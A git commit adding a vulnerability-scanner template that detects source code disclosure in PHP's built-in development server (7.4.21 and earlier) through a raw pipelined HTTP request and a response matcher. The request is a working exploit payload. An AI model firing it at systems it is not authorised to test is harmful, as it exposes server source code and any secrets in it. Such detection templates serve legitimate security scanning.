Added PHP <=7.4.21 development server Source Code Disclosure Misconfiguration template (#6633)

* Auto WordPress Plugins Update [Sat Jan 28 04:17:10 UTC 2023] 🤖

* Adding PHP <=7.4.21 development server Source Code Disclosure Misconfiguration template

---------

Co-authored-by: GitHub Action <action@github.com>

misconfiguration/php-src-disclosure.yaml

@@ -0,0 +1,39 @@
+id: php-src-diclosure
+
+info:
+  name: PHP Development Server <= 7.4.21 - Remote Source Disclosure
+  author: pdteam
+  severity: high
+  description: |
+    A source code disclosure vulnerability in a web server caused by improper handling of multiple requests in quick succession, leading to the server treating requested files as static files instead of executing scripts.
+  reference:
+    - https://blog.projectdiscovery.io/php-http-server-source-disclosure/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cwe-id: CWE-540
+  tags: php,phpcli,diclosure
+
+requests:
+  - raw:
+      - |+
+        GET /  HTTP/1.1
+        Host: {{Hostname}}
+
+        GET /{{rand_base(3)}}.{{rand_base(2)}} HTTP/1.1
+
+
+
+
+
+      - |+
+        GET /  HTTP/1.1
+        Host: {{Hostname}}
+
+    unsafe: true
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_1, "<?php")'
+          - '!contains(body_2, "<?php")'
+        condition: and